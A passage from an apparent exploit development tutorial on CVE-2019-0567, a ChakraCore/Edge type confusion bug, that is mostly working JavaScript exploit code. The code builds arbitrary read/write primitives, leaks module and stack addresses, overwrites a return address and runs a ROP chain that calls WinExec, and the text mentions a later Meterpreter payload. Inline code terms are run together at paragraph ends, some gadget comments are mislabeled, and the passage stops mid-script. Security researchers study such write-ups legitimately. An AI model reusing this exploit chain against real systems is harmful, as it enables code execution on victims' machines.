    // Print update
    print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
    print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

    // Compute the stack limit for the current thread and store it in an array
    var stackLeak = new Uint32Array(0x10);
    stackLeak[0] = stackAddress[0] + 0xed000;
    stackLeak[1] = stackAddress[1];

    // Print update
    print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));

    // Scan the stack

    // Counter variable
    let counter = 0;

    // Loop
    while (counter < 0x10000)
    {
        // Store the contents of the stack
        tempContents = read64(stackLeak[0]+counter, stackLeak[1]);

        // Print update
        print("[+] Stack address 0x" + hex(stackLeak[1]) + hex(stackLeak[0]+counter) + " contains: 0x" + hex(tempContents[1]) + hex(tempContents[0]));

        // Increment the counter
        counter += 0x8;
    }
}

main();

As we can see above, we are going to scan the stack, up through bytes (which is just a random arbitrary value). It is worth noting that the stack grows “downwards” on x64-based Windows systems. Since we have leaked the stack limit, this is technically the “lowest” address our stack can grow to. The stack base is known as the upper limit, to where the stack can also not grow past. This can be examined more thoroughly by referencing our command output previously seen.0x10000!teb

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

For instance, let’s say our stack starts at the address (based on the above image). We can see that this address is within the bounds of the stack base and stack limit. If we were to perform a instruction to place RAX onto the stack, the stack address would then “grow” to . The same concept can be applied to function prologues, which allocate stack space by performing . Since we leaked the “lowest” the stack can be, we will scan “upwards” by adding to our counter after each iteration.0xf7056ff000push rax0xf7056feff8sub rsp, 0xSIZE0x8

Let’s now run our updated in a session without any debugger attached, and output this to a file.exploit.jscmd.exe

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

As we can see, we received an access denied. This actually has nothing to do with our exploit, except that we attempted to read memory that is invalid as a result of our loop. This is because we set an arbitrary value of bytes to read – but all of this memory may not be resident at the time of execution. This is no worry, because if we open up our file, where our output went, we can see we have plenty to work with here.0x10000results.txt

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Scrolling down a bit in our results, we can see we have finally reached the location on the stack with return addresses and other data.

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

What we do next is a “trial-and-error” approach, where we take one of the addresses, which we know is a standard user-mode address that is from a loaded module backed by disk (e.g. ) and we take it, disassemble it in WinDbg to determine if it is a return address, and attempt to use it.0x7fffntdll.dll

I have already gone through this process, but will still show you how I would go about it. For instance, after paring I located the address on the stack. Again, this could be another address with that ends in a .results.txt0x7fff25c78b00x7fffret

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

After seeing this address, we need to find out if this is an actual instruction. To do this, we can execute our exploit within WinDbg and set a break-on-load breakpoint for . This will tell WinDbg to break when is loaded into the process space.retchakracore.dllchakracore.dll

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2) Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

After is loaded, we can disassemble our memory address and as we can see – this is a valid address.chakracore.dllret

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

What this means is at some point during our code execution, the function is called. When this function is called, (the return address) is pushed onto the stack. When is done executing, it will return to this instruction. What we will want to do is first execute a proof-of-concept that will overwrite this return address with . This means when is done executing (which should happen during the lifetime of our exploit running), it will try to load its return address into the instruction pointer – which will have been overwritten with . This will give us control of the RIP register! Once more, to reiterate, the reason why we can overwrite this return address is because at this point in the exploit (when we scan the stack), ’s return address is on the stack. This means between the time our exploit is done executing, as the JavaScript will have been run (our ), will have to return execution to the function which called it (the caller). When this happens, we will have corrupted the return address to hijack control-flow into our eventual ROP chain.chakracore!JsRunchakracore!JsRun+0x40chakracore!JsRun0x4141414141414141chakracore!JsRun0x4141414141414141chakracore!JsRunexploit.jschakracore!JsRun

Now we have a target address, which is located bytes away from .0x1768bc0chakrecore.dll

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

With this in mind, we can update our to the following, which should give us control of RIP.exploit.js

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

    // Leak type->javascriptLibrary (lcoated at type+0x8)
    javascriptLibrary = read64(typeLo+0x8, typeHigh);

    // Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
    scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

    // Leak type->javascripLibrary->scriptContext->threadContext
    threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

    // Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
    stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

    // Print update
    print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
    print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

    // Compute the stack limit for the current thread and store it in an array
    var stackLeak = new Uint32Array(0x10);
    stackLeak[0] = stackAddress[0] + 0xed000;
    stackLeak[1] = stackAddress[1];

    // Print update
    print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));

    // Scan the stack

    // Counter variable
    let counter = 0;

    // Store our target return address
    var retAddr = new Uint32Array(0x10);
    retAddr[0] = chakraLo + 0x1768bc0;
    retAddr[1] = chakraHigh;

    // Loop until we find our target address
    while (true)
    {

        // Store the contents of the stack
        tempContents = read64(stackLeak[0]+counter, stackLeak[1]);

        // Did we find our return address?
        if ((tempContents[0] == retAddr[0]) && (tempContents[1] == retAddr[1]))
        {
            // print update
            print("[+] Found the target return address on the stack!");

            // stackLeak+counter will now contain the stack address which contains the target return address
            // We want to use our arbitrary write primitive to overwrite this stack address with our own value
            print("[+] Target return address: 0x" + hex(stackLeak[0]+counter) + hex(stackLeak[1]));

            // Break out of the loop
            break;
        }

        // Increment the counter if we didn't find our target return address
        counter += 0x8;
    }

    // When execution reaches here, stackLeak+counter contains the stack address with the return address we want to overwrite
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
}

main();

Let’s run this updated script in the debugger directly, without any breakpoints.

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

After running our exploit, we can see we encounter an access violation! We can see a instruction is attempting to be executed, which is attempting to return execution to the address we have overwritten! This is likely a result of our function invoking a function or functions which eventually return execution to the address of our function which we overwrote. If we take a look at the stack, we can see the culprit of our access violation – ChakraCore is trying to return into the address – an address which we control! This means we have successfully controlled program execution and RIP!retretJsRunretJsRun0x4141414141414141

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

All there is now to do is write a ROP chain to the stack and overwrite RIP with our first ROP gadget, which will call to spawn WinExeccalc.exe

Code Execution

With complete stack control via our arbitrary write primitive plus stack leak, and with control-flow hijacking available to us via a return address overwrite – we now have the ability to induce a ROP payload. This is, of course, due to the advent of DEP. Since we know where the stack is at, we can use our first ROP gadget in order to overwrite the return address we previously overwrote with . We can use the rp++ utility in order to parse the section of for any useful ROP gadgets. Our goal (for this part of the blog series) will be to invoke . Note that this won’t be possible in Microsoft Edge (which we will exploit in part three) due to the mitigation of no child processes in Edge. We will opt for a Meterpreter payload for our Edge exploit, which comes in the form of a reflective DLL to avoid spawning a new process. However, since CharkaCore doesn’t have these constraints, let’s parse for ROP gadgets and then take a look at the prototype.0x4141414141414141.textchakracore.dllWinExecchakracore.dllWinExec

Let’s use the following command: :rp++rp-win-x64.exe -f C:\PATH\TO\ChakraCore\Build\VcBuild\x64_debug\ChakraCore.dll -r > C:\PATH\WHERE\YOU\WANT\TO\OUTPUT\gadgets.txt

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

ChakraCore is a very large code base, so will be decently big. This is also why the command takes a while to parse . Taking a look at , we can see our ROP gadgets.gadgets.txtrp++chakracore.dllgadgets.txt

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Moving on, let’s take a look at the prototype of .WinExec

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

As we can see above, takes two parameters. Because of the calling convention, the first parameter needs to be stored in RCX and the second parameter needs to be in RDX.WinExec__fastcall

Our first parameter, , needs to be a string which contains the contents of . At a deeper level, we need to find a memory address and use an arbitrary write primitive to store the contents there. In other works, needs to be a pointer to the string .lpCmdLinecalclpCmdLinecalc

Looking at our file, let’s look for some ROP gadgets to help us achieve this. Within , we find three useful ROP gadgets.gadgets.txtgadgets.txt

0x18003e876: pop rax ; ret ; \x26\x58\xc3 (1 found)
0x18003e6c6: pop rcx ; ret ; \x26\x59\xc3 (1 found)
0x1800d7ff7: mov qword [rcx], rax ; ret ; \x48\x89\x01\xc3 (1 found)

Here is how this will look in terms of our ROP chain:

pop rax ; ret
<0x636c6163> (calc in hex is placed into RAX)

pop rcx ; ret
<pointer to store calc> (pointer is placed into RCX)

mov qword [rcx], rax ; ret (fill pointer with calc)

Where we have currently overwritten our return address with a value of , we will place our first ROP gadget of there to begin our ROP chain. We will then write the rest of our gadgets down the rest of the stack, where our ROP payload will be executed.0x4141414141414141pop rax ; ret

Our previous three ROP gagdets will place the string into RAX, the pointer where we want to write this string into RCX, and then a gadget used to actually update the contents of this pointer with the string.calc

Let’s update our script with these ROP gadgets (note that can’t compensate for ASLR, and essentially computes the offset from the base of . For example, the gadget is shown to be at . What this means is that we can actually find this gadget at .)exploit.jsrp++chakracore.dllpop rax0x18003e876chakracore_base + 0x3e876

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

    // Leak type->javascriptLibrary (lcoated at type+0x8)
    javascriptLibrary = read64(typeLo+0x8, typeHigh);

    // Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
    scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

    // Leak type->javascripLibrary->scriptContext->threadContext
    threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

    // Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
    stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

    // Print update
    print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
    print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

    // Compute the stack limit for the current thread and store it in an array
    var stackLeak = new Uint32Array(0x10);
    stackLeak[0] = stackAddress[0] + 0xed000;
    stackLeak[1] = stackAddress[1];

    // Print update
    print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));

    // Scan the stack

    // Counter variable
    let counter = 0;

    // Store our target return address
    var retAddr = new Uint32Array(0x10);
    retAddr[0] = chakraLo + 0x1768bc0;
    retAddr[1] = chakraHigh;

    // Loop until we find our target address
    while (true)
    {

        // Store the contents of the stack
        tempContents = read64(stackLeak[0]+counter, stackLeak[1]);

        // Did we find our return address?
        if ((tempContents[0] == retAddr[0]) && (tempContents[1] == retAddr[1]))
        {
            // print update
            print("[+] Found the target return address on the stack!");

            // stackLeak+counter will now contain the stack address which contains the target return address
            // We want to use our arbitrary write primitive to overwrite this stack address with our own value
            print("[+] Target return address: 0x" + hex(stackLeak[0]+counter) + hex(stackLeak[1]));

            // Break out of the loop
            break;
        }

        // Increment the counter if we didn't find our target return address
        counter += 0x8;
    }

    // Begin ROP chain
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh);      // 0x18003e876: pop rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x636c6163, 0x00000000);            // calc
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e6c6, chakraHigh);      // 0x18003e6c6: pop rcx ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x1c77000, chakraHigh);    // Empty address in .data of chakracore.dll
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0xd7ff7, chakraHigh);      // 0x1800d7ff7: mov qword [rcx], rax ; ret
    counter+=0x8;

    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;

}

main();

You’ll notice the address we are placing in RCX, via , is “an empty address in of ”. The section of any PE is generally readable and writable. This gives us the proper permissions needed to write into the pointer. To find this address, we can look at the section of in WinDbg with the command.pop rcx.datachakracore.dll.datacalc.datachakracore.dll!dh

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2) Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2) Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Let’s open our in WinDbg again via and WinDbg and set a breakpoint on our first ROP gadget (located at ) to step through execution.exploit.jsch.exechakracore_base + 0x3e876

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2) Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Looking at the stack, we can see we are currently executing our ROP chain.

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Our first ROP gadget, , will place (in hex representation) into the RAX register.pop raxcalc

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

After execution, we can see the from our ROP gadget takes us right to our next gadget – , which will place the empty pointer from into RCX.retpop rcx.datachakracore.dll

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2) Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

This brings us to our next ROP gadget, the gadget.mov qword ptr [rcx], rax ; ret

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

After execution of the ROP gadget, we can see the pointer now contains the contents of – meaning we now have a pointer we can place in RCX (it technically is already in RCX) as the parameter..datacalclpCmdLine

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Now that the first parameter is done – we only have two more steps left. The first is the second parameter, (which just needs to be set to ). The last gadget will pop the address of . Here is how this part of the ROP chain will look.uCmdShow0kernel32!WinExec

pop rdx ; ret
<0 as the second parameter> (placed into RDX)

pop rax ; ret
<WinExec address> (placed into RAX)

jmp rax (call kernel32!WinExec)

The above gadgets will fill RDX with our last parameter, and then place into RAX. Here is how we update our final script.WinExec

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

    // Leak type->javascriptLibrary (lcoated at type+0x8)
    javascriptLibrary = read64(typeLo+0x8, typeHigh);

    // Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
    scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

    // Leak type->javascripLibrary->scriptContext->threadContext
    threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

    // Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
    stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

    // Print update
    print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
    print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

    // Compute the stack limit for the current thread and store it in an array
    var stackLeak = new Uint32Array(0x10);
    stackLeak[0] = stackAddress[0] + 0xed000;
    stackLeak[1] = stackAddress[1];

    // Print update
    print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));

    // Scan the stack

    // Counter variable
    let counter = 0;

    // Store our target return address
    var retAddr = new Uint32Array(0x10);
    retAddr[0] = chakraLo + 0x1768bc0;
    retAddr[1] = chakraHigh;

    // Loop until we find our target address
    while (true)
    {

        // Store the contents of the stack
        tempContents = read64(stackLeak[0]+counter, stackLeak[1]);

        // Did we find our return address?
        if ((tempContents[0] == retAddr[0]) && (tempContents[1] == retAddr[1]))
        {
            // print update
            print("[+] Found the target return address on the stack!");

            // stackLeak+counter will now contain the stack address which contains the target return address
            // We want to use our arbitrary write primitive to overwrite this stack address with our own value
            print("[+] Target return address: 0x" + hex(stackLeak[0]+counter) + hex(stackLeak[1]));

            // Break out of the loop
            break;
        }

        // Increment the counter if we didn't find our target return address
        counter += 0x8;
    }

    // Begin ROP chain
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh);      // 0x18003e876: pop rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x636c6163, 0x00000000);            // calc
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e6c6, chakraHigh);      // 0x18003e6c6: pop rcx ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x1c77000, chakraHigh);    // Empty address in .data of chakracore.dll
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0xd7ff7, chakraHigh);      // 0x1800d7ff7: mov qword [rcx], rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x40802, chakraHigh);      // 0x1800d7ff7: pop rdx ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x00000000, 0x00000000);            // 0
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh);      // 0x18003e876: pop rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], kernel32Lo+0x5e330, kernel32High);  // KERNEL32!WinExec address
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x7be3e, chakraHigh);      // 0x18003e876: jmp rax
    counter+=0x8;

    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
}

main();

Before execution, we can find the address of by computing the offset in WinDbg.kernel32!WinExec

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Let’s again run our exploit in WinDbg and set a breakpoint on the ROP gadget (located at pop rdxchakracore_base + 0x40802)

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2) Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

After the gadget is hit, we can see is placed in RDX.pop rdx0

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Execution then redirects to the gadget.pop rax

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

We then place into RAX and execute the gadget to jump into the function call. We can also see our parameters are correct (RCX points to and RDX is .kernel32!WinExecjmp raxWinExeccalc0

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2) Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

We can now see everything is in order. Let’s close our of WinDbg and execute our final exploit without any debugger. The final code can be seen below.

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

    // Leak type->javascriptLibrary (lcoated at type+0x8)
    javascriptLibrary = read64(typeLo+0x8, typeHigh);

    // Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
    scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

    // Leak type->javascripLibrary->scriptContext->threadContext
    threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

    // Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
    stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

    // Print update
    print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
    print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

    // Compute the stack limit for the current thread and store it in an array
    var stackLeak = new Uint32Array(0x10);
    stackLeak[0] = stackAddress[0] + 0xed000;
    stackLeak[1] = stackAddress[1];

    // Print update
    print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));

    // Scan the stack

    // Counter variable
    let counter = 0;

    // Store our target return address
    var retAddr = new Uint32Array(0x10);
    retAddr[0] = chakraLo + 0x1768bc0;
    retAddr[1] = chakraHigh;

    // Loop until we find our target address
    while (true)
    {

        // Store the contents of the stack
        tempContents = read64(stackLeak[0]+counter, stackLeak[1]);

        // Did we find our return address?
